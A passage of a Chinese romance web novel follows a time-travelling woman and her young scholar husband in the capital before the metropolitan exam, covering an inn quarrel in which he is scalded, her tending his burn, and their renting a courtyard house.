其实心里也以为然,上次看在那杂物房又脏又破的份上才让这小夫妻住了,谁知今日一看,门窗都修好了,里面也打扫的干净整洁,完全该是普通住房的价钱,结果他们只付四十文,还要免一日房费,占着位置,不知住到什么时候去,算一算,他真是亏大了。 安声想理论一番,被左时珩拉住,挡住其他人投向安声的视线,低声道:“我们明日就走,不必与他们计较。” 安声一想也是,为几句话闹起来,他们讨不到好,勉强作罢。 两人回了房,商量起明日换家客栈,如今有笔“巨款”在身,虽算不上有钱,到底能住好一些,或者长赁一间条件更好的民宅,今日看的那些都太过简陋了,有些桌椅板凳都是坏的,实在没法住人。 说了好一会儿话,天已黑透了,屋里也冷起来,却还无人来送热水,左时珩便出门去问,到了大堂,客人还剩四五位,在那喝茶聊天吃瓜子,老板不在柜台后,只有那小厮提着热水从后厨出来,正要往二楼去。 左时珩上前问,他瞥他一眼,只当做没听见,见状左时珩皱了皱眉,略有些强硬地伸手拦住他。 “我既付了房费,客栈便应提供热水,置之不理是何意?” “等着呗。” “已等了许久,要等到何时?” 小厮冷笑嘁声,也不回答,反又讥嘲了句,转身就走。 左时珩抓住他手腕,正要理论,那小厮却恶狠狠地推搡了他一下,不知有意无意,手中一壶热水倾倒出来,泼洒在他小臂上。 左时珩吃痛抽回了手,眉头微蹙。 小厮扫了一眼,说:“你自找的啊,跟我可没关系。” 他转身欲走,却从阴影处冲出来一个轻盈身影,速度极快,抬起一脚踢在他后心,小厮不察,踉跄扑倒,水壶也脱手而出,摔在地上。 小厮懵了一瞬,瞬间怒火中烧,不过一句脏话还未出口,便被人一脚踩住,他扭头一看,竟是个女人,立时便要反抗发作,安声却早捡起了水壶,壶口稳稳对着他,喝道:“混蛋,你动一下我烫死你!” 小厮面色一变,浑不敢动。 这里动静自然引起了所有客人的注意,老板也从后堂飞奔出来:“出了什么事?” 安声愤怒地盯着小厮,恨不得将他烧个洞:“你敢欺负他,你竟然敢欺负他!你找死!” 她拎起水壶往他背上直接一倒,小厮发出杀猪般的惨叫,老板不用问就明白大致,怕吵到其他住客,立即过来阻拦,又蹲下捂住他嘴,叱骂了几句,然后朝安声连连作揖求饶,说这是他不听话的侄子,从小缺少管教,再也不敢了饶了他这一回云云。 还说左时珩的烫伤需要及时处理,他马上就让人请大夫来,医药费他来出,再给他们换一间房,免三日房费。 闻言安声才将水壶往地上用力一放,大声放狠话:“我夫君是来赶赴会考的,你敢烫他的手,若是影响他写字,我就回来把你大卸八块!” 说罢,她径直扶着左时珩的手臂去后厨浸冷水。 这一切发生得太快,又结束得太快,她一走,几个看热闹的食客才回过神,说笑起来。 有人说:“好泼辣的女子!” 也有人说:“出门在外就该这样!” 小厮喊:“这个泼妇,这个贱……” “啪”一下,老板用力抽了他一巴掌,抽的他脸立即红肿了起来,低骂道:“还嚷!你没听见吗?那青年是考生,万一他考上了,不仅能把你大卸八块,也能把我大卸八块!你个狗东西,棉衣这样厚也烫不到哪去,别嚎了,滚起来请大夫去!” 小厮哼哼唧唧,麻溜出门跑没影儿。 老板跟客人们赔笑道歉,免费上了盘瓜子,才擦了擦汗,心有余悸。 虽说考生数以万计,考上的凤毛麟角,但……万一呢? 每逢三年一次的会试,京城便会热闹数十倍,遇上考生,甭管对方有钱没钱,大多生意人都会客气对待,毕竟谁也不知他们前途如何,万一考中,那自己这些小店也能跟着沾光。 只是他一开始没认出左时珩是考生,一是没钱住宿的穷书生大多会想办法找人引荐住进同乡会馆或道观寺庙,二是不会夫妻同行,三是他今日进他们房间看了,虽说也有毛笔砚台,却一本书也无,怎么看都不像是来考试的。 他叹了口气,心里又把蠢货侄子骂了一遍,眼看就年底了,尽给他找麻烦事儿。 后厨这边,安声在大夫来之前,用瓢舀了冷水,一遍遍冲着左时珩小臂上的伤处。 “是不是很疼?” 左时珩温声笑了,缓缓摇头。 “你还笑得出来,都起水泡了。” “因为我心里高兴,实在不知怎么说。”左时珩笑着,从安声手里接了瓢,“我来吧,你手该酸了。” 安声便道:“高兴?刚刚可是好些人看着的,他们说我泼辣,我都听见了,难道你不觉得吗?我可是很凶的,和我在一起,你可要小心。” 左时珩点了下头,嘴角的弧度又上扬了些。 安声仰起头,瞪起眼。 “光点头不说话是什么意思?” “难不成你真这么认为?” “我说我凶是谦虚,你也认可?” “左时珩左……” “……” 左时珩蓦地轻抚过她后脑,在她额上落了个吻,低笑道:“安声,我既惊又喜,实在不知如何表达了,原谅我嘴笨吧。” 安声怔住,一时沉在左时珩温柔的目光里,忘了回应。 这好像是十九岁的左时珩,第一次主动亲她—— 甚至并非一个私密场合,而是在客栈后厨,几步之外隔一张帘便有人来回走动。 手上一滴凉水滑落至后颈,她一个激灵回过神,忙拿下他手臂,又故意小凶了一下:“别碰到伤口了!” …… 换房太麻烦,安声拒绝了,还是在原来的房间,反正只住一晚,热水倒是早送来了,大夫也请了一个。 她举着蜡烛,看那头发花白的老大夫眯着眼细看左时珩的伤口,片刻,慢悠悠道:“还好,水泡挑破了,然后抹药就行。” 老大夫颤颤巍巍地从褡裢里摸出一个针袋,对光看了半天才取了根针,用烛火燎了两下,对左时珩说:“手伸直了。” 看那针尖颤着戳下去,安声紧张不已,跟着吃痛,忍不住道:“疼疼疼……轻点轻点,您轻点……” “姑娘,一个大男人挑个水泡怕什么?他都没喊,你喊什么?要不你来?” “我来就我来。” 老大夫一愣,没想到她接话这般果断,正好也晚了,索性就留下药膏纱布在桌上:“那我走了,你给他挑好,抹上这个烫伤膏就行,这几天不要沾水,明天到桂风堂把针送回去。” 安声道了声谢,将门关上,握住左时珩的手,凑近烛光:“若是疼,你就喊。” 他笑道:“好。” 安声也有些手抖,拿着那根针,忽就想起安和九年最后见到左时珩那一次,阿序给他行针,他疼得脸色惨白,连话都说不出。 她眼眶渐渐发红,低着头,眼泪无声地掉。 左时珩忙道:“我不疼的,真的,只是被烫了一下,以前也有过。” “不要说话,也不要动。” 安声深吸一口气,慢慢用针尖挑破了那些水泡,用帕子轻轻按压,后又拿了药膏过来,轻柔涂抹上去。 她时不时去看左时珩的反应,但每次总能与他视线撞到一处,他一直在看她。 待伤口包扎好,她才松了口气。 “热水都要冷了,你坐着不要动,我去端过来。” “安声……” “你坐好。” 安声用木盆打了热水,已是不烫了,她先用帕子湿了水,拧干,坐到床边,想给左时珩擦脸。 他叹了口气,反抽走帕子替她轻拭眼角泪痕,柔声问:“怎么忽然伤心起来?” 安声望着他,只觉当时左时珩的影子与眼前渐渐重叠,她眼圈一红,搂住脖颈将他紧抱住,哽咽唤道:“左时珩……左时珩……” 左时珩心疼不已,忙揉揉她的发,应声:“我在的,怎么了?” 安声埋在他颈窝,深深眷恋他的体温气息,直言她曾做了个梦,梦见他生了很重的病,阿序替他行针,可是回天乏术,她方才又想起来,一时伤心难过。 左时珩安抚地拍了拍她,说他自小身体健壮,甚少生病,让她不必担心。 又好奇问:“阿序是谁?” “是我们的儿子。” 左时珩僵住,脸蹿一下烧红,磕绊问:“……何时连儿子名字都想好了?”—— 作者有话说:明天加更[烟花] 第48章 日子 “我说过我们会儿女双全的嘛。” “那……那女儿叫?” “左岁,岁岁。” 左时珩愣了下,蓦然响起那日破庙中,安声迷迷糊糊的一句,提到了岁岁这个名字,她说我们家只有岁岁喜欢姜味。 岁岁……是他们将来的女儿? 那为何,她已提前知晓了她的口味呢? 不过左时珩尚未深思,安声已引去了他的注意力,她松开了他,拿走帕子重新用温水打湿了,拧干,借着余温给他擦脸。 左时珩颇有些不自在:“我自己来就好。” 安声没给他机会:“大夫说你的手不能沾水。” 左时珩便道:“伤在小臂,小心些不会沾到水的。” 安声皱眉盯着他:“左时珩,就这么不愿让我照顾你啊?” 他撇开视线,脸上红晕未退:“不是……除幼时蒙先慈照顾外,我已独自谋生惯了,况且,你我……你我夫妻,自是我照顾你。” “既是夫妻,合该平等,互相照顾,如今你受伤,我照顾你是应该的,何况在庙中也多是你照顾我,若是你再抗拒,我下次也不让你碰了。” “我……好吧。” 左时珩叹了口气,无奈摇头,向她妥协了。 他似乎总能被她说服,拿她毫无办法。 于是他闭上眼,微仰下颌。 没等到温热的帕子落下,倒先听到安声一声轻笑,他浓密的睫颤了颤,正欲睁眼,一股温热潮意携着淡淡的香已然覆面,动作轻柔,让他心怦然起来。 安声湿了几次帕子,从左时珩的脸到脖子,到微微拨开领口时探入的锁骨下方,再到手,胳膊等,全程左时珩都闭着眼,只是睫毛颤动,呼吸急促,耳尖通红。 他这般表情让安声觉得好笑,越发想逗弄他,便无声贴近,温香气息倾吐在他眉眼之间:“左时珩,你睡着了吗?那我要干坏事了。” 左时珩还未及应,便有轻轻一吻落在他唇上,柔软润泽,摄人心魂。 他浑身触电般,再坐不住,扑倒在床上,脸深埋在褥子里,一言不发,只觉一颗心脏跳得快要着火了。 安声喊:“完啦,左时珩被我亲晕了。” 她笑着趴过去:“让我看看,能不能人工呼吸救一下。” 左时珩闷声笑出,慌乱将脸转向另一侧。 “水……” “水?你要喝水?” “……水要冷了,快些去洗漱。” “喔——” 安声笑了几声,赶紧去了,还问店家又要了一壶热水,倒在洗脚盆里,端到床边,拉左时珩一起泡脚。 热水烫烫的,安声那双雪白玉足很快就红了起来,左时珩目视前方,愣愣的,似还没从方才的亲吻中缓过神。 其实不止是羞赧,还有心虚,破庙中安声趁他睡着亲他时,他是醒着的,但故作不知,直到此时也未向安声坦白此事,方才安声那般直接亲他,唇瓣相触自然与别处不同,仿佛一下戳破了他隐秘心思——她已许久没在夜里亲他了。 若是安声看透他此时此刻心中所想,定然大呼冤枉,与他同床共枕后,她不知睡得多香,哪里还能半夜醒来“做坏事”,何况如今婚书都写了,她又何须“偷”亲,光明正大就是。 安声见他出神,便踩上他脚背,脚趾灵活地点来点去,挠得他有些发痒,他低咳了声,垂下视线看去。 虽说他之前从未成过婚,但年近弱冠,对于夫妇之道也不可能全无了解,似安声这般大胆率性的女子世上哪里还有第二个,他真是喜欢的不得了。 “水要冷了。”他说。 安声叹气:“水冷得真快啊,还不能加热水,这日子没法过。”说完又笑道:“还好有左时珩,日子又能过了。” 左时珩真是完全招架不住她的一言一行,一颦一笑,赶紧拿了方巾来:“脚抬起来。” 安声毫不客气,任他给自己擦脚,他手掌温热宽大,指腹掌心有常年做事磨出的薄茧,握她足时,因刚泡了发热,正是敏感,一碰便酥酥麻麻的,惹得她发笑。 左时珩真是心乱的很,忙擦完了让她到床上捂着,自己也擦干了脚上的水,收拾好上床。 刚掀开被子安声就钻进了怀里,贴在胸前,自己那无序的心跳几乎暴露无遗。 “好香,左时珩,你好香。” “……”他按住她脑袋,转头吹了蜡烛,声线紧绷,“好了,该睡觉了。” 安声托起他手臂,从他怀里翻了过去:“我睡外面,免得睡着不小心抱着你胳膊了。” 左时珩怔了怔,只觉心间一软,往里侧挪了挪,主动抬起左手,将她揽在怀:“好,睡吧。” 仗着黑暗窥不见神情,他再难压住上扬的嘴角,目光比窗外漏进来的几片月光还要明亮温柔。 安声窝在他怀里,紧抱着他,被那熟悉的白梅香笼罩,实在舒适惬意,睡意袭来之际,她又想起问一句他手臂疼不疼。 听到左时珩说不疼后,她彻底安心坠入了梦乡。 左时珩一时无眠,趁安声熟睡,也学她做起了“坏事”,手臂微微收拢,将她往怀中更深地带了带,低头吻她发顶,却又嫌不够,胆大起来,吻女孩面颊,触感柔软温润,实在爱极。 如此稍稍满意,只一颗勉强平复的心却又无法安分了。 …… 翌日一早,他们便去退房,老板很是诧异,也有些惶恐,心道只怕是结了仇了,一咬牙,用红布封了十两银子递来,赔笑道:“举人老爷大人有大量。” 左时珩一脸肃色,自是不收。 安声却道:“老板您说,这是什么钱?贿赂银子我们可不要。” 老板笑笑,说一是退回房费,两日合该二两,二是门窗修缮费,正价三两,三是赔罪,有错就改,五两不多。 见老板很是客气,安声笑道:“合理,您是明白人。” 她自顾拿了银子,又道:“让你侄子过来给我夫君道歉,要态度诚恳,此事便算揭过。” 老板连连答应,提溜了那小厮过来,按着脖子给左时珩鞠躬,又叱骂几句,小厮讪讪,也不敢反驳,涨红了脸,小声道歉。 左时珩皱眉,正色道:“知错能改善莫大焉,开门做生意讲究和气生财,对客人区别对待,自然不会长久,我也无须他道歉,但请给我夫人赔罪,昨夜之事吓到她了。” 小厮难以置信,激动破了音:“我,吓到她?!……” 左时珩居高临下冷冷瞥他,目光隐含压迫。 他一下不敢说话,又被老板拍在后脑:“还在这儿废话!” 小厮只好向安声道了歉,尽管一脸不情不愿,他们走时,安声还隐约听到他委屈诉苦,说自己背上疼了一夜,只怕要脱皮。 安声心中快活,将十两银子放入左时珩书箱,歪头问:“左时珩,你不会嫌我见钱眼开吧?” 左时珩弯起唇角。 安声解释:“昨晚我放了狠话,这钱若是不收,老板会心里不安,怕我们将来报复,我这也是与人为善,他能在京城开得起一家客栈,十两银子又算什么,不多不多。” 左时珩跟着点头:“不多不多。” 安声笑了一声,心想一身正气两袖清风的左大人不会被自己带坏了吧。 怀揣四十多两银子,也算富有,安声将昨日的针还了老大夫,顺便又让他仔细检查了番左时珩的伤处,换上更见效更昂贵的药膏,两人便往内城去投宿了。 内城店铺林立,繁华热闹许多,自然也消费不菲,客栈大多都住满了人,几乎随处可见外来的学子在大堂处对坐交友,路过一些书肆或书画铺子,还能见到有学子当场吟诗作对,比拼才学,引发路人围观喝彩。 名气对这些考生来说是件好事,更容易受到京中一些大人物的喜欢,邀去雅集清谈,或接受文章拜谒等,甚至运气好还会得到赏识资助,即便届时名落孙山,也不算完全没了出路。 左时珩似乎对此毫不在意。 他一身粗布棉袍,神情淡然,眉眼清冷,又太年轻,也无怪乎当初客栈老板未将他当作一个热切求名的考生。 实则左时珩从一个偏远贫苦的小县走出,那里县学于洪水中损毁,无钱修缮,除他之外,全县更是多年无一人中举。 他出发前存了几年的银子,又加乡里资助,才勉强凑齐路费,除了恩师所赠的两本书外,身无长物,哪里还有余力去钻营名利。 他独立生活多年,吃苦吃惯了,虽通透人情世故,却不了解官场那些规则,连引荐住同乡会馆的人都找不到,何况作诗写文去拜谒名臣,便更是无门了。 但他心思全在自己的文道上,说不在意也不算错。 只是他不在意,安声倒比他更上心。 下午两人投宿了家不错的客栈,一日便要一两银子,条件比上家好上许多,不仅床单被褥都晒过,其他用具也都干净整洁,浴桶更是大了许多,有屏风相隔,且朝南开了扇窗,推开便见街景,除了晚上因夜市有些吵外,其他安声都十分满意。 安顿好,她便拉着左时珩外出去逛,出入各大书肆纸笔铺子等,将他的文具全套置备周全,还买了历年会试程文,至于要看什么书她就不懂了,干脆将银袋塞给他。 “左时珩,还缺什么你自己去买,我觉得我跟你一起,别人会用异样眼光打量你,我不喜欢他们那么看你。” 其实安声也知晓原因,无非是准备会考还携妻进京,甚至一同出入书肆这等文人之所,在那些人眼中,左时珩这是溺于家室,意志不坚,且看穿着又十分落魄,将来必无出息,没有结交价值。 加上文人大多清高,事可为不可说,面子是第一要义,即便尚未高中,但身为最接近官员的那批人,他们表面上还是瞧不起世俗做派的,演也要演出个清苦的样子来。 左时珩温声劝慰:“我无意同他们结交,你也不必在意他们看法。” 安声摇头:“我不在意他们对我的看法,但我讨厌别人说你坏话。” 她抬头望着他,眼中并无落寞,反倒笑意明亮:“而且我也虚荣嘛,我就想看你将来风光无限,那些人因说你坏话错过与你结交而懊悔不已的样子,到时候就是狠狠打他们的脸,好叫他们知道,他们这样看人低,才是不将心思放在正道上。” 左时珩被她逗笑。 “那我们明日去赁下一间长期居所,关起门来苦读,待我高中时他们前来拜谒道贺,就将他们统统关在门外,挨个奚落回去。” 安声眨了眨眼:“好坏啊左时珩,都计划这么详细了。” 左时珩颔首:“未雨绸缪。” 安声忍不住笑起来,她发现她注定会被左时珩吸引,无论她说什么做什么,他都愿意接住,并认真回应。以前她只当左时珩同平行时空的另一个安声成婚五年,受她行为影响甚深,现在发现,是左时珩本来就很好,非常好。 而且也没有另一个安声,只有她。 她实在太喜欢左时珩了! 不过该买的也买齐了,左时珩说他不必买书,四书五经、名家大作皆已倒背如流,余下时间在家多默写温习,研究程文,撰写策论即可,趁时间尚早,他们去了昨日去的那家书画铺子。 老板不在,店中小厮倒是一改昨日态度,热情接待了他们,因昨日那书屋有人在,便将他们领去另一间布置差不多的书屋,让安声挑几幅名家的字来模仿,又在旁边的案几上给左时珩倒了茶,铺陈纸张,笑道:“先生随便写点什么就好。” 安声出言阻止:“我夫君的字值千金,上次是为与老板交个朋友,才便宜出售,今日岂能再写?” 那小厮便道:“我们东家说,昨日一字十两,今日一字可十五两。” “二十两也不卖。”安声语气笃定。 小厮面露难色,也有些诧异,一个字十五两,九成九的普通学子也没这般高价,不知安声哪来的底气,于是看向左时珩,心道他一个大男人莫非全靠女人摆布? 可左时珩不提笔也不喝茶,反倒神色悠然:“嗯,我听夫人的。” 小厮心中轻嗤,竟是个惧内的。 于是道:“好吧,那等我东家来再说。” 没多久,书画老板果然来了,先问明原由,再请了又请,见安声坚持,只得叹息作罢。 安声笑道:“老板,物以稀为贵,一幅字价贵,十幅字可不是十倍价了,自己喜欢的话,有一幅来收藏已是足够。” 老板觉得这女子看着年纪不大,却话中有话,十分有见解,看她眼神便不禁有些欣赏。 又细观其二人,虽打扮普通,但谈吐不凡,读过书,又写得一手好字,大约不是简单人物。 尤其是左时珩,此后生年纪轻轻,字写得万里挑一的好,绝非池中之物,即便名落孙山,也不会埋没于会试。 不过虽然好奇,但这是京城,卧虎藏龙,他不便多问。 安声仿了几幅字给他,老板检查一番,颇为满意,虽不说精到,至少比一般人仿的到位,可见对用笔是有考究的。 安声也十分自得,这是她的天赋,她不算个好选手,但算个好裁判,临摹对她而言不难,之前她学左时珩的字,很快就像他,但她要写出自己的好字,则要花上许多功夫去练。 老板收了字付了钱,天色便暗下来。 他们同老板告辞,说明日不来,要去找个牙人看房,准备在京城长住,老板听后,想了想,建议让他们去东街看看,尤其是长锦坊一带。 二人记下,道谢后出门,夕阳还未完全隐落,天上约见星子,一闪一闪。 安声好奇:“左时珩,你怎么不问我为何不让你卖字?” 左时珩握住她微凉的手揉搓一番,包进掌心,悠然一笑。 “嗯……我猜,你对我有信心,认定我的字极好,也定能考取功名,不想让他将来拿我的字去炒作高价,对我造成影响。” “天呐左时珩,你简直就是我肚子里的蛔虫!” 左时珩莞尔:“但蛔虫却猜不到,你何以对我如此信任?” 安声挠挠他手心:“都说我是仙女咯,未卜先知还不是手到擒来。”她又指向天上:“我看你是文曲星转世,所以才特意下凡来找你的,信我,你的字现在堪比大家,以后就是大家,一字难求。” 二十岁的状元,不到十年官至二品,还能指导皇帝写字。 如此珍品,自然不能轻易流传。 路上行人不多,左时珩紧牵她手往客栈走,玩笑问:“你既从天上来,是否认识织女和七仙女?” 安声道:“认识,不过跟我比,她们选夫君的眼光差了点。”—— 作者有话说:加不完了加不完了,补到明天的章节里[求求你了][求求你了][求求你了] 第49章 有房 两人还未走出多远,到一条巷口,忽被人叫住,回头一看,是个三十来岁的男人,穿着灰蓝棉袍,束发,包着方巾,十分的书生气。 安声神色略动了下,认出来人,又下意识看向左时珩,左时珩却未见过此人,便上前一步问道:“阁下是?” 男人拱手作揖,答:“在下姓张,名为是,也是这届考生,不知能否与贤弟说上几句?” 安声笑了笑,心道自己果然没认错。 张为是张大人,将来官至工部左侍郎,与左时珩同僚之谊颇深,不过她只在那个梦里见过他一面。贵气养人,虽说十年后张大人人至中年有些沧桑,但气质模样都要比眼下这般稳重儒雅许多。 张为是邀二人就近下了馆子,临窗对坐,上了一个羊肉锅子,几盘小菜,两壶清酒,闲谈几句便进入正题。 原来,张为是也在那家书画铺子偷偷做临摹活计,他自知被人知晓要遭耻笑排挤,每回去了都是天黑才走,其实他一开始倒也只想写字作画来卖,但水平一般,卖不出好价,还不如临摹。 今日意外听那小厮吐槽左时珩不知好歹,一字十几两都不卖,心中震惊,又去看了他的字,实在惊艳,想他才华横溢,即便捉襟见肘却仍有文人之骨,一时既羞愧又钦佩,不禁起了结交之心,故而追出。 当然,也有些私心。 他想这人既也写字代售,必然不会瞧不起他那些行径,又写一手好字,万一高中,也算自己一段机缘。 左时珩不胜酒力,倒了小杯一滴没喝,全被安声小口小口尝完了,倒是张为是,一开始还有些拘束,饮了三白便打开了话匣,一聊起来就收不住。 他家住崖州,也算小富,家中给官府承过几次修造海塘河堤等工程,他不打算子承父业,于是从小刻苦读书,二十几岁便中举,一时风光无限,名声大噪,结果会试三度落榜,一晃近十年,来年便是第四次了。 因觉得丢脸,不敢回乡,他索性在京城住下,安心备考,也甚少问家里要钱,但起初花销不知节制,很快不剩多少,虽说家中后来来信还是寄赠了些接济于他,到底也不够用,如今已过而立之年,想自己还一事无成,靠卖字为生,不禁泣涕涟涟。 安声听得入神,为他又斟一杯酒。 张为是掩袖拭泪,饮罢道:“我成婚十二年,孩子都开始背四书五经了,但我还在京城蹉跎,没脸接他们娘俩团圆,也没钱,在家里反过得好些。” 又看了眼二人,感慨道:“贤弟,我佩服你啊,也羡慕你,你的发妻愿随你奔波吃苦,你也愿忍受他人白眼,而且,你写得一手好字,无论如何是车到山前必有路,不像我,若是这次再不中,我亦想通,回家去也。” 左时珩以茶代酒,耐心劝慰:“春闱本非易事,天下四海,人才济济,几万之数辐辏京城,能折桂者凤毛麟角,张兄不必自轻。” 安声说得更简单,她笑道:“事不过三,我看张大人来年就能接妻儿团圆了。” 一声“张大人”喊得张为是酒醒几分,又坠入另一番云雾飘飘然,仿佛已身在那龙门金殿,庙堂之高了。 左时珩却眉尖微不可察地蹙了蹙,低声提醒:“不能乱喊。” 安声小声回:“好,只喊你左大人。” 左时珩耳尖发红,端坐正色:“……并非此意,只怕口舌无心,招来麻烦。” 张为是不知他们俩低语什么,但他已是半醉,这会儿心情大好,一直招呼二人多吃,还叫小二过来加了一盘羊肉。 “安夫人,你不知道,有时候读书人也要信点玄之又玄的事,譬如讨彩啊,避谶啊……你这一开口叫我‘张大人’,我心里不知多高兴,这事成一半儿了,来年若高中,必登门致谢,再去最贵的同庆楼宴请二位。” 安声忍笑点头:“好的。” 她虽只见过张为是一次,但也记得张大人一身风采,仪表堂堂,称得上文臣典范,可惜没手机,否则真想将这段录下来,将来在他面前循环播放。 酒过三巡,已是不早,左时珩向张为是告辞,说明日还有要事。 张为是恍惚想起:“哦对,是有事,我听那老板说了,你们要找房子,正好我就住在东街长锦坊杏花胡同,对门那家二进院落挂了赁屋布告,不若明日过来问问。” 左时珩道谢应声,表明明日会去,双方又聊了几句,各自离开。 夜间,安声替左时珩手臂换了药重新包扎时,左时珩温声问她:“怎么吃饭回来总在走神?” 安声手一顿,忙问:“是不是弄疼你了?” 他摇头笑了笑。 安声低头对他伤处吹了吹,小心包好:“恢复得还不错,过一两日只怕要发痒脱皮,还是小心别沾水。” “好。”他抬头摸了摸安声的头发,“我会注意的。” 两人躺到床上,盖好被子,安声自然靠躺在他胸前,左时珩也已习惯抱着她,两人在睡前说说话。 安声说:“我在想那座杏花胡同的二进院落。” “你是担心价贵?” 安声抬头,一双杏眸在朦胧烛光下水洗过一般明亮清澈,笑意盈盈。 “不是,我已经在畅想我们未来幸福生活了。” 左时珩一怔,随即笑了起来。 “若当真合适,我也不是不能去卖字。” 安声挪了挪,趴在他胸口,低头碰他鼻尖:“左时珩,亲我一下。” “咳,该睡了。” 左时珩起身吹了蜡烛,黑暗潮水般袭来,掩去所有少年心事。 “喔——睡觉。” 安声幽幽道。 过了片刻,一个温柔的吻轻轻落在她额头。 安声偷笑几声,被他按在怀里。 “嗯,睡觉。” 左时珩的语气听不出什么,但加快的心跳已让他的情绪无所遁形。 …… 按理说,以他们现在的银钱,在东街租不起一座二进院落才对,但安声却清楚想起,她初至左府宅邸那日,左时珩说他们曾在长锦坊杏花胡同住了三年。 即便过去会因人的意志而改变,但在某些节点上,她并不想刻意打乱什么,因为她想要的,只是一个她与左时珩终老的结局。 无巧不成书。 次日一早他们就赶去长锦坊看了,这座院落的主人是个生意人,如今主要在南方发展,两年前就携妻儿搬走了,这座院落便也空置两年。 当初买来时,手上银钱不多,小院也未如何装修打理,空置两年无人维护,便更破旧了,生了许多杂草。 他这赶上年底有事进京,顺道过来看了眼,因是他与发妻结缘之地,便舍不得卖,只挂了租赁,但他这屋不能一下住人,又是年底,进京赶考的举子虽多,倒不如住个客栈,一时便没赁出去。 他因时间急,找了两个牙人来问,价钱一降再降,最后只说找个爱惜房子,能租长久的就好。 恰好安声与左时珩过来,主人一见他二人年轻夫妻,又是读书人,相貌脱俗,气质不凡,十分乐意,很快谈好了价,就这般,双方一拍即合,很快签了契,付了一年的钱,共二十两。 当日左时珩与安声便动手收拾起来,给院里锄草,打扫,擦拭灰尘等,有许多家具门窗都有问题,需要修缮,也无法急在一时。 张为是也来帮忙,三人忙到天黑,在腊月里满头大汗。 请他吃了晚饭,夫妻二人才回了客栈,各自洗漱一番,相依相偎,很快睡去。 翌日又是一番早早赶去收拾打扫,到了下午才差不多能够住人。 左时珩回客栈退了房,将行李收拾了来,又将床单被褥铺好,然后出去买修理门窗木椅等所需工具。 待他回来时,安声合衣趴在床边睡着了,抱着枕头脸歪在一侧,正好被窗外投进的一片日光笼罩,绒毛细细,玉肌生春。 左时珩温柔望着,露出浅笑,又有些心疼。 他放轻脚步过去,抚摸安声的发:“去床上睡吧,这样趴着不舒服。” 安声掀了掀眼帘,又闭上:“我不睡,就歇一下。” “好。”左时珩坐在脚榻上,伸手将她揽入怀中,“靠着我歇吧,舒服一些。” 安声调整了姿势,在他腿上躺下,整个半身都蜷在他怀里,环着他的腰:“左时珩……你也歇一歇,你才是最累的。” “嗯。” 安声一觉醒来已是天黑,她外衣被脱去,挂在一旁架子上,身上盖着被子。 她打了个哈欠,心想,果然这样。要歇一会儿,就不能躺到床上,否则不知会睡多久。 厨房方向传来咚咚的声响,她披衣过去,见左时珩正钻在锅灶底下敲着什么,不远处放着盏罩起的油灯。 她唤了声,左时珩便退出来,侧过身子看她:“饿了吗?” 安声一下笑了出来,左时珩身上脸上全是黑灰,那玉白的脸成了大黑猫似的,狼狈中颇有几分可爱。 原是他下午检查了锅灶,发现烟囱有漏水痕迹,便调了泥灰重新砌了。 后院有口井,厨房的缸里早就打了水备用,安声忙取了些,湿了帕子,让他将脸凑过来,将灰一点点擦拭干净,逐渐露出那双清隽无双的眉眼,一抬眸就足以让她心动。 她捧着他脸亲了下,笑道:“左时珩你真好看,我好喜欢你啊。” 左时珩面颊泛起红晕,不过与最初相比,反应已是慢慢从容。 “……晚上想吃什么?我出去买。” “你身上脏成这样,还是我去买吧,你休息一下,晚点我烧些水,你先洗澡。” 长锦坊这里隔一条街便有几家食肆,不远,安声出门买了饭回来,左时珩已烧起了热水,确认炉灶烟囱都可以正常使用。 柴房里原先就柴放着,不过有些发潮,这两日白天搬到院里晒了也都能用,省去了买柴的钱。 “左时珩,你怎么什么事都要自己做?我睡了一下午,正闲着要找点事呢。” 安声佯装不悦,实则心疼。 左时珩笑道:“你这不是才买了吃食回来么?哪里闲着。” “昨日忙了一天,今日从早一睁眼到现在,你也没歇过,真的不累?” “嗯,我父亲是泥瓦匠,也是木匠,我自小跟着他帮忙,学了些手艺,后来他故去,我独立谋生,做的事比这多许多,已习惯了,不算什么。”他洗了帕子,放一旁晾着,又脱去脏污的外衣,才坐过来吃饭,“即便再累,睡一觉就好。” 安声笑道:“不愧是十九岁啊,精力真是旺盛。” 她说完自己脸一红,又抿唇笑。 左时珩起先没明白,见她这般神情,莫名就懂了,墨睫颤个不停,很快吃完,便说沐浴去了。 卧房一侧的耳房里有个净室,里头的大浴桶已洗涮了干净,往里倒了热水,门一关,蒸腾一会儿,便雾气弥漫,一点也不冷。 安声抱了他的衣裳站在门外,轻轻敲门,那水声便停了一停。 她问:“左时珩,真的不要我进去吗?” “……不用。” “那小心些你的伤口。” 左时珩抬起手臂,看见小臂伤处已浸红了,痒的人想抓挠,便心虚应了两声。 过了会儿,门外传来安声的唉声叹气。 “那么大的浴桶,可以两个人洗的,今天又不能看见左时珩的宽肩细腰长腿腹肌了。” 左时珩:“……” 几乎缺氧般缓缓沉入水下,咕噜咕噜冒泡。 他的妻子,真是炽热直白的天下无双。 … 因洗了发未干,一时睡不得觉,左时珩便临窗而坐,挑了灯写文章。 灯下美人,如松如竹。 其腕骨微凸而有力,执笔时手背经络隐现,时而落笔流畅,时而提笔沉思,烛烟斜斜,攀沿而上,似缠在他轻垂的睫羽之间。 安声沐浴完出来,悄声进屋,静赏许久,直到他写完搁笔,在暖黄光晕中起身,颀长而挺拔,像一座玉山。 他转头,看见安声,愣了下,笑问:“怎么站在那里?” 安声这才过去,拿了块干的方巾,绕到他身后,替他擦发。 “不想打扰你。” “无妨,不会打扰。” 安声见他发干得差不多了,便凑过去看他写的,是一篇论天灾时运与民生的文章,入眼便是极其工整漂亮的小楷,卷面整洁,无一错处。 左时珩道:“还未写完,明日再写。” 又问安声,她既读过书,是否也作文章。 安声点头,说她们那儿考试也作文章,但不是这种,若她能写出左时珩这篇文章来,那她也是状元了。 左时珩:“也?” 安声一笑,踮脚搂住他脖子,笑说:“我们那儿还作诗呢,和你所知道的诗也不一样,你想不想听?” 左时珩点头。 安声撒娇:“到床上去再告诉你。” 她这般说,却又不松开,左时珩自然明白,便抱起她,两人一道上了床榻。 放下帷帐,将被子盖好,安声熟练至极地钻入他怀里,趴在他枕边,温软唇瓣紧贴着他热热的耳廓。 她一时想不起来什么诗,但又不想食言,便柔声笑道:“左时珩,我爱你,一天比一天更深地爱你。” 第50章 买卖 又是如此赤诚而热烈的表白,但每次听来,左时珩都有不同的感受。 从最初惊诧不解,到后来羞赧脸红,如今更是情难自控。 他不禁将安声环抱住,微微翻身压在怀中,一双温柔的眸在难辨的夜色里变得灼热:“这是你们那儿的诗?” “对。” “你们那儿的诗还有我的名字?” 